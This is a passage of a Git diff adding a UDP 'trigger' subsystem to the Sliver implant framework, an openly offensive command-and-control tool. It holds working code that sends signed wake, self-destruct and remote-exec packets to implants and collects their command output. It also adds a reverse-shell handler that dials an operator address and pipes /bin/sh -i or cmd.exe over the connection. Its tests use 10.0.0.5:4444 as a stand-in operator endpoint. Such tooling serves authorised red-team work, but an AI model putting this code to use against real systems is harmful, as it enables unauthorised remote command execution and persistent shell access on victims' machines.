"github.com/0x90pkt/trigger/pkg/intents/handlers" + stdlistener "github.com/0x90pkt/trigger/pkg/listener" + stdprotocol "github.com/0x90pkt/trigger/pkg/protocol" + + "github.com/0x90pkt/trigger/pkg/auth" + + "github.com/sirupsen/logrus" + + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/c2/trigger/handlers" + "github.com/bishopfox/sliver/server/core" + "github.com/bishopfox/sliver/server/log" +) + +var triggerLog = log.NamedLogger("c2", constants.TriggerStr) + +// triggerJobState holds both the proto bindings (for operator +// introspection) and the live handler registry (for direct dispatch) +// associated with a running trigger listener job. +type triggerJobState struct { + bindings []*clientpb.TriggerIntentBinding + registry *stdintents.Registry +} + +// triggerJobBindings is a process-local side-map storing the state for +// every running trigger listener, keyed by core Job ID. The factory +// writes on Start, the watcher goroutine deletes on Stop. Consumed by +// the TriggerIntents RPC (operator introspection) and the +// TriggerDispatchTask RPC (ad-hoc handler invocation from the console). +var triggerJobBindings sync.Map // map[int]*triggerJobState + +// BindingsForJob returns a shallow copy of the registered task bindings +// for the given trigger job, or (nil, false) if no trigger listener is +// running with that ID. Callers get their own slice so mutations do not +// affect the canonical binding set. +func BindingsForJob(jobID int) ([]*clientpb.TriggerIntentBinding, bool) { + v, ok := triggerJobBindings.Load(jobID) + if !ok { + return nil, false + } + state, ok := v.(*triggerJobState) + if !ok || len(state.bindings) == 0 { + return nil, ok + } + out := make([]*clientpb.TriggerIntentBinding, len(state.bindings)) + copy(out, state.bindings) + return out, true +} + +// DispatchTaskForJob resolves a named task handler on a running trigger +// listener and executes it directly, bypassing the UDP wire protocol. +// This backs the "trigger send " console command. +// +// A synthetic Event is constructed with Intent=taskName; the remaining +// fields are set to sentinel values indicating a console-originated +// dispatch (no UDP source, no nonce, no client ID from a packet). +func DispatchTaskForJob(jobID int, taskName string) error { + v, ok := triggerJobBindings.Load(jobID) + if !ok { + return fmt.Errorf("no trigger listener with job ID %d", jobID) + } + state, ok := v.(*triggerJobState) + if !ok { + return fmt.Errorf("corrupt state for job %d", jobID) + } + handler, found := state.registry.Resolve(taskName) + if !found { + return fmt.Errorf("no task %q registered on job %d", taskName, jobID) + } + + evt := stdintents.Event{ + Intent: taskName, + ClientID: "console", + SourceIP: "127.0.0.1", + Nonce: "direct-dispatch", + } + + triggerLog.Infof("console dispatch: job=%d task=%s", jobID, taskName) + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + if err := handler.Execute(ctx, evt); err != nil { + triggerLog.Errorf("console dispatch failed: job=%d task=%s err=%v", jobID, taskName, err) + return fmt.Errorf("handler %q returned error: %w", taskName, err) + } + triggerLog.Infof("console dispatch success: job=%d task=%s", jobID, taskName) + return nil +} + +// FireResult holds the outcome of a bidirectional trigger fire. +// For fire-and-forget intents (wake, self-destruct), Output is empty. +// For bidirectional intents (exec), it contains the implant's response. +type FireResult struct { + Sent bool // true if the packet was sent + Output string // implant response output (exec only) + ExitCode int // implant command exit code (exec only) + Error string // implant-side error message, if any +} + +// FireTriggerPacket constructs a signed trigger packet and sends it as +// a single UDP datagram to targetHost:targetPort. Everything is handled +// natively within sliver -- no external tools required. +// +// The packet follows the upstream wire protocol: JSON-over-UDP with +// HMAC-SHA256 authentication. The receiving end (typically an implant's +// triggerwake listener) validates the signature, checks replay/clock- +// skew protections, and dispatches the intent (wake, self-destruct, exec). +// +// For bidirectional intents (exec), the function binds a local UDP port, +// waits for a response from the implant (up to responseTimeout), and +// returns the output. For fire-and-forget intents, it returns immediately +// after sending. +func FireTriggerPacket(targetHost string, targetPort int, intent string, sharedSecret string, clientID string, cmdPayload string) (*FireResult, error) { + if targetHost == "" { + return nil, errors.New("target host must be set") + } + if targetPort <= 0 || targetPort > 65535 { + return nil, fmt.Errorf("invalid target port: %d", targetPort) + } + if intent == "" { + return nil, errors.New("intent must be set") + } + if sharedSecret == "" { + return nil, errors.New("shared secret must be set") + } + if clientID == "" { + clientID = "sliver-operator" + } + + nonce, err := stdprotocol.GenerateNonce() + if err != nil { + return nil, fmt.Errorf("nonce generation: %w", err) + } + + msg := stdprotocol.TriggerMessage{ + Version: stdprotocol.ProtocolVersion, + ClientID: clientID, + Nonce: nonce, + Timestamp: stdprotocol.NowUTC(), + Intent: intent, + Payload: cmdPayload, + } + + sig, err := stdprotocol.Sign(msg, sharedSecret) + if err != nil { + return nil, fmt.Errorf("sign: %w", err) + } + msg.Signature = sig + + payload, err := stdprotocol.EncodeWire(msg) + if err != nil { + return nil, fmt.Errorf("encode: %w", err) + } + + // For bidirectional intents, use a UDP socket so we can receive the + // response. For fire-and-forget, use a simple dial. + isBidirectional := intent == "exec" + + if !isBidirectional { + // Fire-and-forget path. + addr := net.JoinHostPort(targetHost, fmt.Sprintf("%d", targetPort)) + conn, err := net.DialTimeout("udp", addr, 5*time.Second) + if err != nil { + return nil, fmt.Errorf("dial %s: %w", addr, err) + } + defer conn.Close() + + if err := conn.SetWriteDeadline(time.Now().Add(5 * time.Second)); err != nil { + return nil, fmt.Errorf("set write deadline: %w", err) + } + if _, err := conn.Write(payload); err != nil { + return nil, fmt.Errorf("send to %s: %w", addr, err) + } + + triggerLog.Infof("trigger fire: target=%s intent=%s client_id=%s nonce=%s", + addr, intent, clientID, nonce) + return &FireResult{Sent: true}, nil + } + + // Bidirectional path: bind ephemeral local UDP, send, wait for response. + localAddr, err := net.ResolveUDPAddr("udp", ":0") + if err != nil { + return nil, fmt.Errorf("resolve local addr: %w", err) + } + conn, err := net.ListenUDP("udp", localAddr) + if err != nil { + return nil, fmt.Errorf("bind local udp: %w", err) + } + defer conn.Close() + + remoteAddr, err := net.ResolveUDPAddr("udp", net.JoinHostPort(targetHost, fmt.Sprintf("%d", targetPort))) + if err != nil { + return nil, fmt.Errorf("resolve target: %w", err) + } + + if _, err := conn.WriteToUDP(payload, remoteAddr); err != nil { + return nil, fmt.Errorf("send to %s: %w", remoteAddr, err) + } + + triggerLog.Infof("trigger fire (bidirectional): target=%s intent=%s client_id=%s nonce=%s", + remoteAddr, intent, clientID, nonce) + + // Wait for response with timeout. + _ = conn.SetReadDeadline(time.Now().Add(responseTimeout)) + buf := make([]byte, 16384) + n, respAddr, err := conn.ReadFromUDP(buf) + if err != nil { + if isTimeoutErr(err) { + triggerLog.Warnf("trigger fire: no response within %v from %s", responseTimeout, remoteAddr) + return &FireResult{Sent: true, Error: fmt.Sprintf("no response within %v (implant may be unreachable or exec timed out)", responseTimeout)}, nil + } + return nil, fmt.Errorf("read response: %w", err) + } + if !respAddr.IP.Equal(remoteAddr.IP) { + return nil, fmt.Errorf("response from unexpected source %v, expected %v", respAddr.IP, remoteAddr.IP) + } + + resp, err := stdprotocol.DecodeResponse(buf[:n]) + if err != nil { + return nil, fmt.Errorf("decode response: %w", err) + } + + // Verify response HMAC. + if valid, err := stdprotocol.VerifyResponse(resp, sharedSecret); err != nil || !valid { + return nil, fmt.Errorf("response HMAC verification failed") + } + + // Verify the response correlates to our request. + if resp.RequestNonce != nonce { + return nil, fmt.Errorf("response nonce mismatch: sent %q, got %q", nonce, resp.RequestNonce) + } + + triggerLog.Infof("trigger fire: received response from %s (exit=%d, output=%d bytes)", + remoteAddr, resp.ExitCode, len(resp.Output)) + + return &FireResult{ + Sent: true, + Output: resp.Output, + ExitCode: resp.ExitCode, + Error: resp.Error, + }, nil +} + +const responseTimeout = 35 * time.Second // slightly longer than implant's exec timeout + +func isTimeoutErr(err error) bool { + type timeoutErr interface{ Timeout() bool } + if te, ok := err.(timeoutErr); ok { + return te.Timeout() + } + return false +} + +// StartTriggerListenerJob starts an authenticated UDP trigger +// listener as a Sliver job. The returned *core.Job is already in +// core.Jobs and has its watcher goroutine wired up; callers should +// surface the job's ID to operators. +// +// Validation order: +// 1. Build the keyring (default secret OR per-client; strict-mode +// respected). +// 2. Build the source allowlist (exact IPs + CIDR ranges). +// 3. Build the task registry by translating each +// TriggerIntentBinding's oneof config into a real handler +// constructor. Any binding failure aborts the whole start (better +// than silently registering some and failing others). +// 4. Construct the listener.Listener via the standalone library. +// 5. core.NextJobID() → core.Job → spawn Start goroutine → spawn +// JobCtrl watcher → core.Jobs.Add (which publishes JobStartedEvent). +func StartTriggerListenerJob(req *clientpb.TriggerListenerReq) (*core.Job, error) { + if req == nil { + return nil, errors.New("trigger: nil request") + } + + keyring, err := buildKeyring(req) + if err != nil { + return nil, fmt.Errorf("trigger: build keyring: %w", err) + } + sourceAllow, err := auth.NewSourceAllowlist(req.AllowedSources) + if err != nil { + return nil, fmt.Errorf("trigger: build source allowlist: %w", err) + } + + registry := stdintents.NewRegistry() + for _, binding := range req.Intents { + handler, err := handlerForBinding(binding) + if err != nil { + return nil, fmt.Errorf("trigger: task %q: %w", binding.Name, err) + } + if err := registry.Register(handler); err != nil { + return nil, fmt.Errorf("trigger: register %q: %w", binding.Name, err) + } + } + + cfg := stdlistener.Config{ + BindIP: req.Host, + BindPort: int(req.Port), + Workers: intOr(req.Workers, 4), + MaxClockSkew: secondsOr(req.MaxClockSkewSeconds, 45*time.Second), + ReplayTTL: secondsOr(req.ReplayTTLSeconds, 5*time.Minute), + MaxMessageBytes: intOr(req.MaxMessageBytes, 4096), + GlobalRatePerSecond: int(req.GlobalRatePerSecond), + PerClientRequestsPerMinute: int(req.PerClientRequestsPerMinute), + MaxReplayEntries: int(req.MaxReplayEntries), + MaxRateLimitEntries: int(req.MaxRateLimitEntries), + AllowedClientIDs: sliceToSet(req.AllowedClientIDs), + AllowedSources: sourceAllow, + Keyring: keyring, + ServerID: serverIDOrDefault(req.ServerID), + ReadBufferBytes: 65535, + JobQueueBufferSize: 1024, + Sink: newSliverAuditSink(), + Handlers: registry, + HandlerTimeout: msOr(req.HandlerTimeoutMs, 10*time.Second), + } + + l, err := stdlistener.New(cfg) + if err != nil { + return nil, fmt.Errorf("trigger: listener init: %w", err) + } + + job := &core.Job{ + ID: core.NextJobID(), + Name: constants.TriggerStr, + Description: fmt.Sprintf("trigger listener %s:%d (%d tasks)", req.Host, req.Port, len(req.Intents)), + Protocol: constants.UDPListenerStr, + Port: uint16(req.Port), + JobCtrl: make(chan bool), + } + + ctx, cancel := context.WithCancel(context.Background()) + + // Listener goroutine: blocks until ctx cancels. + go func() { + if err := l.Start(ctx); err != nil { + triggerLog.Errorf("trigger listener job %d exited with error: %v", job.ID, err) + } + }() + + // JobCtrl watcher: on signal, cancel ctx + remove from core.Jobs. + go func() { + <-job.JobCtrl + triggerLog.Infof("stopping trigger listener job %d ...", job.ID) + cancel() + l.Stop() + core.Jobs.Remove(job) + triggerJobBindings.Delete(job.ID) + }() + + triggerJobBindings.Store(job.ID, &triggerJobState{ + bindings: append([]*clientpb.TriggerIntentBinding(nil), req.Intents...), + registry: registry, + }) + core.Jobs.Add(job) + triggerLog.Infof("trigger listener job %d bound to %s:%d with %d task(s)", + job.ID, req.Host, req.Port, len(req.Intents)) + return job, nil +} + +func buildKeyring(req *clientpb.TriggerListenerReq) (*auth.Keyring, error) { + defaultSecret := string(req.SharedSecret) + if defaultSecret == "" && len(req.PerClientKeys) == 0 { + return nil, errors.New("at least one of SharedSecret or PerClientKeys must be set") + } + if req.Strict && len(req.PerClientKeys) == 0 { + return nil, errors.New("strict mode requires at least one PerClientKeys entry") + } + + k := auth.NewKeyring(auth.Options{DefaultSecret: defaultSecret, Strict: req.Strict}) + for clientID, secret := range req.PerClientKeys { + if len(secret) == 0 { + return nil, fmt.Errorf("per-client key for %q is empty", clientID) + } + if err := k.Add(clientID, string(secret)); err != nil { + return nil, fmt.Errorf("add per-client key %q: %w", clientID, err) + } + } + return k, nil +} + +// handlerForBinding inspects the oneof Config and returns the +// matching constructor's output. Returns an error if Config is unset +// or wraps a type the factory doesn't know about (forward-compat +// safeguard: new proto kinds added without factory updates fail loud +// instead of silently ignoring). +func handlerForBinding(b *clientpb.TriggerIntentBinding) (stdintents.Handler, error) { + if b == nil { + return nil, errors.New("nil binding") + } + switch cfg := b.GetConfig().(type) { + case *clientpb.TriggerIntentBinding_WakeBeacon: + return handlers.NewWakeBeacon(b.Name, cfg.WakeBeacon.GetBeaconID()) + case *clientpb.TriggerIntentBinding_StopJob: + return handlers.NewStopJob(b.Name, cfg.StopJob.GetJobName()) + case *clientpb.TriggerIntentBinding_Exec: + return stdhandlers.NewExec(b.Name, stdhandlers.ExecConfig{ + Cmd: cfg.Exec.GetCmd(), + Args: cfg.Exec.GetArgs(), + Workdir: cfg.Exec.GetWorkdir(), + Env: cfg.Exec.GetEnv(), + PathOverride: cfg.Exec.GetPathOverride(), + HomeOverride: cfg.Exec.GetHomeOverride(), + MaxOutputBytes: int(cfg.Exec.GetMaxOutputBytes()), + }) + case *clientpb.TriggerIntentBinding_ReverseShell: + return handlers.NewReverseShell(b.Name, handlers.ReverseShellConfig{ + OperatorAddr: cfg.ReverseShell.GetOperatorAddr(), + ShellPath: cfg.ReverseShell.GetShellPath(), + ShellArgs: cfg.ReverseShell.GetShellArgs(), + DialTimeout: time.Duration(cfg.ReverseShell.GetDialTimeoutMs()) * time.Millisecond, + MaxSessionDuration: time.Duration(cfg.ReverseShell.GetMaxSessionDurationMs()) * time.Millisecond, + UseTLS: cfg.ReverseShell.GetUseTLS(), + }) + case nil: + return nil, errors.New("config oneof is unset") + default: + return nil, fmt.Errorf("unknown config kind %T", cfg) + } +} + +// sliverAuditSink bridges the standalone library's AuditSink interface +// into Sliver's log.NamedLogger. Every audit event becomes one +// structured Infof line on the "c2/trigger-audit" logger. +// +// The logger is initialized once at construction and stored as a struct +// field so Emit() does not allocate a new logrus.Entry on every call. +type sliverAuditSink struct { + auditLog *logrus.Entry +} + +func newSliverAuditSink() *sliverAuditSink { + return &sliverAuditSink{auditLog: log.NamedLogger("c2", "trigger-audit")} +} + +func (s *sliverAuditSink) Emit(evt stdlistener.AuditEvent) { + auditLog := s.auditLog + if evt.Accepted { + auditLog.Infof("ACCEPT event=%s server=%s client=%s intent=%s source=%s nonce=%s reason=%s", + evt.Event, evt.ServerID, evt.ClientID, evt.Intent, evt.SourceIP, evt.Nonce, evt.Reason) + } else { + auditLog.Warnf("REJECT event=%s server=%s client=%s intent=%s source=%s nonce=%s reason=%s", + evt.Event, evt.ServerID, evt.ClientID, evt.Intent, evt.SourceIP, evt.Nonce, evt.Reason) + } +} + +// Helper coercions: the proto uses uint32 with 0=use-default so +// operators don't have to know every knob. Convert to library types. + +func intOr(v uint32, def int) int { + if v == 0 { + return def + } + return int(v) +} + +func secondsOr(v uint32, def time.Duration) time.Duration { + if v == 0 { + return def + } + return time.Duration(v) * time.Second +} + +func msOr(v uint32, def time.Duration) time.Duration { + if v == 0 { + return def + } + return time.Duration(v) * time.Millisecond +} + +func sliceToSet(xs []string) map[string]struct{} { + if len(xs) == 0 { + return nil + } + out := make(map[string]struct{}, len(xs)) + for _, x := range xs { + if x != "" { + out[x] = struct{}{} + } + } + return out +} + +func serverIDOrDefault(v string) string { + if v != "" { + return v + } + if h, err := os.Hostname(); err == nil && h != "" { + return h + } + return "sliver-trigger" +} diff --git a/server/c2/trigger/handlers/doc.go b/server/c2/trigger/handlers/doc.go new file mode 100644 index 0000000000..0301e75247 --- /dev/null +++ b/server/c2/trigger/handlers/doc.go @@ -0,0 +1,48 @@ +package handlers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +// Package handlers provides Sliver-specific task handlers that +// implement the github.com/0x90pkt/trigger/pkg/intents.Handler +// interface. The trigger listener (imported as a library) dispatches +// authenticated triggers to these handlers; each handler binds a +// task label to a real Sliver server action. +// +// Current handlers: +// +// - WakeSession: fires a wake signal for a trigger implant. Trigger +// implants always establish interactive sessions (not beacons). +// For backward compatibility with legacy beacon-based configs, +// also updates the beacon's NextCheckin if the target exists. +// (NewWakeBeacon is retained as a deprecated alias.) +// +// - StopJob: stops a Sliver job by name (e.g., an mTLS listener, +// an HTTP listener) using a non-blocking JobCtrl send. +// +// - ReverseShell: dials a pre-bound operator endpoint and plumbs an +// interactive shell over the connection. Fire-and-forget with a +// concurrency semaphore (default 10 concurrent sessions) to prevent +// resource exhaustion. +// +// Construction is config-time: the operator binds a task label to +// a target (beacon UUID, job name) when the trigger listener starts. +// Runtime task context (client_id, source_ip, nonce, timestamp) +// flows into Execute via intents.Event for audit/logging purposes +// but does NOT change the target -- that's locked at construction so +// crafted client_ids can't redirect handler effects. diff --git a/server/c2/trigger/handlers/reverseshell.go b/server/c2/trigger/handlers/reverseshell.go new file mode 100644 index 0000000000..d56edaf93f --- /dev/null +++ b/server/c2/trigger/handlers/reverseshell.go @@ -0,0 +1,269 @@ +package handlers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "crypto/tls" + "errors" + "fmt" + "net" + "os/exec" + "path/filepath" + "runtime" + "strings" + "time" + + "github.com/0x90pkt/trigger/pkg/intents" + + "github.com/bishopfox/sliver/server/log" +) + +var reverseShellLog = log.NamedLogger("c2", "trigger-reverse-shell") + +// dialerFunc / spawnerFunc are the indirections tests use to simulate +// dial + exec without opening sockets or spawning real shells. They +// live on the handler struct (not as package-level vars) so concurrent +// fire goroutines from independent handler instances can't race on +// shared globals during test teardown. +type dialerFunc func(network, addr string, timeout time.Duration, useTLS bool, tlsCfg *tls.Config) (net.Conn, error) +type spawnerFunc func(ctx context.Context, name string, args ...string) *exec.Cmd + +func defaultDialer() dialerFunc { + return func(network, addr string, timeout time.Duration, useTLS bool, tlsCfg *tls.Config) (net.Conn, error) { + if useTLS { + d := &net.Dialer{Timeout: timeout} + return tls.DialWithDialer(d, network, addr, tlsCfg) + } + return net.DialTimeout(network, addr, timeout) + } +} + +func defaultSpawner() spawnerFunc { + return func(ctx context.Context, name string, args ...string) *exec.Cmd { + return exec.CommandContext(ctx, name, args...) + } +} + +// ReverseShellConfig is the construction-time config for a +// ReverseShell handler. +// +// Operational notes: +// +// - OperatorAddr is locked at construction. There is no runtime +// templating — a crafted client_id cannot redirect the shell to +// an attacker-controlled endpoint. +// +// - This handler does NOT create or touch a Sliver Session record. +// core.Sessions, core.Beacons, and db.Session() are deliberately +// untouched. The shell is a side channel from the Sliver SERVER +// host to a pre-bound operator endpoint, audited only by the +// trigger's own audit log. +// +// - The interactive shell runs in a detached goroutine. The handler +// itself returns nil immediately after fork so the listener +// worker is freed. Listener-level rate limiting is the only +// defense against shell-spam; configure --per-client-requests-per-minute +// accordingly when binding this handler. +// +// - No pty allocation in this MVP. The remote operator can use +// `socat`/`script`/`stty` on their side, or run inside `tmux`, +// for a usable interactive experience. A pty-upgrade path is +// a future enhancement. +type ReverseShellConfig struct { + // OperatorAddr is the host:port the server dials out to on fire. + OperatorAddr string + // ShellPath is the absolute path of the shell binary. Empty => + // platform default: /bin/sh on Linux/Darwin, cmd.exe on Windows. + ShellPath string + // ShellArgs is the verbatim argv passed to the shell. Empty => + // platform default: ["-i"] on Linux/Darwin. + ShellArgs []string + // DialTimeout bounds the connect attempt. Default 5s. + DialTimeout time.Duration + // MaxSessionDuration bounds total shell lifetime (defense against + // stuck sessions wedging server resources). Default 30 minutes. + MaxSessionDuration time.Duration + // UseTLS wraps the operator-channel in TLS. Recommended. + UseTLS bool + // TLSConfig overrides the default TLS config (ServerName, RootCAs, + // etc.). Ignored if UseTLS=false. + TLSConfig *tls.Config +} + +// defaultMaxConcurrentSessions caps how many reverse shells a single +// handler instance will run simultaneously. Prevents resource +// exhaustion if an adversary replays triggers faster than sessions +// terminate. +const defaultMaxConcurrentSessions = 10 + +// ReverseShell is an intents.Handler that, on fire, dials a pre-bound +// operator endpoint and plumbs an interactive shell over the +// connection. Fire-and-forget: handler returns nil as soon as the +// shell goroutine is launched. +type ReverseShell struct { + intent string + cfg ReverseShellConfig + shell string + args []string + timeout time.Duration + maxLife time.Duration + + dialer dialerFunc + spawner spawnerFunc + + // sem limits concurrent fire goroutines. A buffered channel acts + // as a lightweight counting semaphore. + sem chan struct{} + + // fireDone is non-nil only in tests; closed when the detached + // fire goroutine returns. Lets tests synchronize on completion + // instead of sleeping. + fireDone chan struct{} +} + +// NewReverseShell constructs a ReverseShell handler. Validates the +// operator endpoint and shell path at construction so bad bindings +// fail fast. +func NewReverseShell(intent string, cfg ReverseShellConfig) (*ReverseShell, error) { + if strings.TrimSpace(intent) == "" { + return nil, errors.New("reverse-shell: task name must be set") + } + if strings.TrimSpace(cfg.OperatorAddr) == "" { + return nil, errors.New("reverse-shell: OperatorAddr must be set (host:port)") + } + host, port, err := net.SplitHostPort(cfg.OperatorAddr) + if err != nil { + return nil, fmt.Errorf("reverse-shell: invalid OperatorAddr %q: %w", cfg.OperatorAddr, err) + } + if host == "" || port == "" { + return nil, fmt.Errorf("reverse-shell: OperatorAddr %q missing host or port", cfg.OperatorAddr) + } + + shell := cfg.ShellPath + if shell == "" { + shell = defaultShellPath() + } + if !filepath.IsAbs(shell) { + return nil, fmt.Errorf("reverse-shell: ShellPath %q must be absolute", shell) + } + args := cfg.ShellArgs + if len(args) == 0 { + args = defaultShellArgs() + } + + timeout := cfg.DialTimeout + if timeout <= 0 { + timeout = 5 * time.Second + } + maxLife := cfg.MaxSessionDuration + if maxLife <= 0 { + maxLife = 30 * time.Minute + } + + return &ReverseShell{ + intent: intent, + cfg: cfg, + shell: shell, + args: args, + timeout: timeout, + maxLife: maxLife, + dialer: defaultDialer(), + spawner: defaultSpawner(), + sem: make(chan struct{}, defaultMaxConcurrentSessions), + }, nil +} + +// Name implements intents.Handler. +func (h *ReverseShell) Name() string { return h.intent } + +// Execute implements intents.Handler. Fires the reverse shell in a +// detached goroutine and returns nil. Errors (dial failure, exec +// failure) are logged but do NOT propagate back to the listener — +// the listener already accepted the trigger by the time we get here, +// and the operator's feedback is the connect-back, not a return +// value. +// +// The detached goroutine is bounded by MaxSessionDuration via context +// so a stuck shell can't leak forever. +func (h *ReverseShell) Execute(_ context.Context, evt intents.Event) error { + select { + case h.sem <- struct{}{}: + // Slot acquired; fire in background. + go h.fire(evt) + default: + reverseShellLog.Warnf("reverse-shell: max concurrent sessions (%d) reached, dropping trigger from %s", + cap(h.sem), evt.ClientID) + } + return nil +} + +func (h *ReverseShell) fire(evt intents.Event) { + defer func() { + <-h.sem // release semaphore slot + if h.fireDone != nil { + close(h.fireDone) + } + }() + + reverseShellLog.Infof("reverse-shell fired: intent=%s operator=%s shell=%s triggered_by=%s source_ip=%s nonce=%s", + h.intent, h.cfg.OperatorAddr, h.shell, evt.ClientID, evt.SourceIP, evt.Nonce) + + conn, err := h.dialer("tcp", h.cfg.OperatorAddr, h.timeout, h.cfg.UseTLS, h.cfg.TLSConfig) + if err != nil { + reverseShellLog.Errorf("reverse-shell dial failed: intent=%s operator=%s err=%v", + h.intent, h.cfg.OperatorAddr, err) + return + } + defer conn.Close() + + ctx, cancel := context.WithTimeout(context.Background(), h.maxLife) + defer cancel() + + cmd := h.spawner(ctx, h.shell, h.args...) + cmd.Stdin = conn + cmd.Stdout = conn + cmd.Stderr = conn + + runErr := cmd.Run() + reverseShellLog.Infof("reverse-shell session ended: intent=%s operator=%s err=%v", + h.intent, h.cfg.OperatorAddr, runErr) +} + +// defaultShellPath returns the conventional interactive shell for the +// current GOOS. +func defaultShellPath() string { + switch runtime.GOOS { + case "windows": + return `C:\Windows\System32\cmd.exe` + default: + return "/bin/sh" + } +} + +// defaultShellArgs returns the conventional argv for an interactive +// shell on the current GOOS. +func defaultShellArgs() []string { + switch runtime.GOOS { + case "windows": + return nil + default: + return []string{"-i"} + } +} diff --git a/server/c2/trigger/handlers/reverseshell_test.go b/server/c2/trigger/handlers/reverseshell_test.go new file mode 100644 index 0000000000..17ca2065ec --- /dev/null +++ b/server/c2/trigger/handlers/reverseshell_test.go @@ -0,0 +1,179 @@ +package handlers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "crypto/tls" + "errors" + "fmt" + "net" + "os/exec" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/0x90pkt/trigger/pkg/intents" +) + +func TestNewReverseShellRejectsBadInputs(t *testing.T) { + cases := []struct { + name string + hand string + cfg ReverseShellConfig + want string + }{ + {"empty task name", "", ReverseShellConfig{OperatorAddr: "10.0.0.1:4444"}, "task name"}, + {"empty operator addr", "x", ReverseShellConfig{}, "OperatorAddr"}, + {"malformed addr", "x", ReverseShellConfig{OperatorAddr: "not-an-addr"}, "invalid OperatorAddr"}, + {"missing port", "x", ReverseShellConfig{OperatorAddr: "10.0.0.1"}, "invalid OperatorAddr"}, + {"relative shell path", "x", ReverseShellConfig{OperatorAddr: "10.0.0.1:4444", ShellPath: "sh"}, "must be absolute"}, + } + for _, tc := range cases { + tc := tc + t.Run(tc.name, func(t *testing.T) { + _, err := NewReverseShell(tc.hand, tc.cfg) + if err == nil { + t.Fatalf("expected NewReverseShell to reject %s", tc.name) + } + if !strings.Contains(err.Error(), tc.want) { + t.Fatalf("error %q did not contain %q", err.Error(), tc.want) + } + }) + } +} + +func TestNewReverseShellAcceptsValidConfig(t *testing.T) { + h, err := NewReverseShell("get-shell", ReverseShellConfig{OperatorAddr: "10.0.0.5:4444"}) + if err != nil { + t.Fatalf("NewReverseShell: %v", err) + } + if h.Name() != "get-shell" { + t.Fatalf("Name = %q want get-shell", h.Name()) + } +} + +// installStubs swaps the handler's dial+spawn closures and wires a +// fireDone signal so the test can wait on goroutine completion +// without racing on package-level state. +func installStubs(h *ReverseShell, dial dialerFunc, spawn spawnerFunc) <-chan struct{} { + done := make(chan struct{}) + h.dialer = dial + h.spawner = spawn + h.fireDone = done + return done +} + +func TestReverseShellExecuteReturnsImmediatelyAndFiresAsync(t *testing.T) { + t.Parallel() + conn := &fakeConn{} + dialed := atomic.Int32{} + + h, err := NewReverseShell("get-shell", ReverseShellConfig{ + OperatorAddr: "10.0.0.5:4444", + ShellPath: "/bin/true", + ShellArgs: []string{}, + }) + if err != nil { + t.Fatalf("NewReverseShell: %v", err) + } + done := installStubs(h, + func(_, _ string, _ time.Duration, _ bool, _ *tls.Config) (net.Conn, error) { + dialed.Add(1) + return conn, nil + }, + func(ctx context.Context, _ string, _ ...string) *exec.Cmd { + return exec.CommandContext(ctx, "/bin/true") + }, + ) + + start := time.Now() + if err := h.Execute(context.Background(), intents.Event{ClientID: "op-jc", SourceIP: "127.0.0.1"}); err != nil { + t.Fatalf("Execute: %v", err) + } + if elapsed := time.Since(start); elapsed > 100*time.Millisecond { + t.Fatalf("Execute did not return immediately: took %v", elapsed) + } + select { + case <-done: + case <-time.After(2 * time.Second): + t.Fatalf("detached shell goroutine never completed") + } + if dialed.Load() != 1 { + t.Fatalf("dialer called %d times, want 1", dialed.Load()) + } +} + +func TestReverseShellExecuteSwallowsDialErrors(t *testing.T) { + t.Parallel() + spawnerCalled := atomic.Bool{} + h, _ := NewReverseShell("get-shell", ReverseShellConfig{ + OperatorAddr: "10.0.0.5:4444", + ShellPath: "/bin/true", + }) + done := installStubs(h, + func(_, _ string, _ time.Duration, _ bool, _ *tls.Config) (net.Conn, error) { + return nil, errors.New("connection refused") + }, + func(ctx context.Context, _ string, _ ...string) *exec.Cmd { + spawnerCalled.Store(true) + return exec.CommandContext(ctx, "/bin/true") + }, + ) + if err := h.Execute(context.Background(), intents.Event{}); err != nil { + t.Fatalf("Execute should swallow dial errors, got %v", err) + } + select { + case <-done: + case <-time.After(2 * time.Second): + t.Fatalf("goroutine never completed") + } + if spawnerCalled.Load() { + t.Fatalf("spawner should not be called when dial fails") + } +} + +func TestReverseShellDefaultsApplied(t *testing.T) { + h, err := NewReverseShell("x", ReverseShellConfig{OperatorAddr: "1.2.3.4:5"}) + if err != nil { + t.Fatalf("NewReverseShell: %v", err) + } + if h.timeout != 5*time.Second { + t.Fatalf("default DialTimeout: got %v want 5s", h.timeout) + } + if h.maxLife != 30*time.Minute { + t.Fatalf("default MaxSessionDuration: got %v want 30m", h.maxLife) + } + if h.shell == "" { + t.Fatalf("default shell path empty") + } +} + +// fakeConn is a minimal net.Conn for tests. +type fakeConn struct{} + +func (c *fakeConn) Read(b []byte) (int, error) { return 0, fmt.Errorf("EOF") } +func (c *fakeConn) Write(b []byte) (int, error) { return len(b), nil } +func (c *fakeConn) Close() error { return nil } +func (c *fakeConn) LocalAddr() net.Addr { return nil } +func (c *fakeConn) RemoteAddr() net.Addr { return nil } +func (c *fakeConn) SetDeadline(time.Time) error { return nil } +func (c *fakeConn) SetReadDeadline(time.Time) error { return nil } +func (c *fakeConn) SetWriteDeadline(time.Time) error { return nil } diff --git 